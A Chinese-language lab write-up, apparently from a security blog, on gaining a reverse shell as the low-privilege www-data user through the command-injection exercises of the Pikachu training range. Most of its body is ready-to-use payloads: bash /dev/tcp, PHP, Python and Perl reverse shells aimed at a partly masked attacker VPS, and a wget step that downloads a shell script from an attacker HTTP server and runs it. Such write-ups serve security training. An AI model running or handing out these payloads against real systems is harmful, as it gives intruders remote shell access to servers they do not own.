专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
深圳发布  ·  送打车优惠券!这波交通福利快来接住! ·  3 天前  
深圳发布  ·  深圳发布 x 荣耀终端,送限量哪吒周边!! ·  3 天前  
深圳大件事  ·  突发!张兰、汪小菲,被无限期封禁! ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

从两道靶场题中学习低权限如何反弹shell

TimelineSec  · 公众号  ·  · 2020-02-28 09:00

正文

本题环境: lamp+Pikachu

学习题目: RCE 中 exec "ping" 和 exec "eval"

优质题解作者: 桃李、drinkwater


题目分析:
Pikachu的RCE处


whoami是www-data权限,很低的权限;

pwd可查看到当前路径且判定是linux系统;

ls -al查看了下当前目录下的读写执行权限:



可以看出其他用户是没有高权限的,写入执行权限都没有,就不能在当前目录下写马;经尝试,bash反弹shell未能成功。


第一题: exec "ping"


方法一: /tmp写入bash反弹脚本执行

/tmp下有可写可执行权限,那么写个bash反弹脚本上去:

127.0.0.1|Echo ‘bash -i >& /dev/tcp/47.107.x.xx/7777 0>&1’>/tmp/cdk.sh


Vps上先监听,然后bash执行脚本:

127.0.0.1|bash /tmp/cdk.sh



方法二: php反弹shell

Payload:

127.0.0.1|php -r '$sock=fsockopen("47.107.xx.xxx",7777);exec("/bin/sh -i &3 2>&3");'



方法三: python反弹shell

Payload:

127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.107.xx.xx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



方法四: perl反弹shell

Payload1(依赖/bin/sh):

127.0.0.1|perl -e 'use Socket;$i="47.107.xx.xx";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



Payload2(不依赖/bin/sh):

127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.107.xx.xx:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'



第二题: exec "eval"


题目如图:


自己服务器上写个反弹shell的sh,利用wget下载到目标服务器,避免传输过程发生格式问题。



利用python启用http服务。



执行命令:

system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')



执行脚本,成功反弹shell:

system("bash /tmp/drinkwater.sh");









请到「今天看啥」查看全文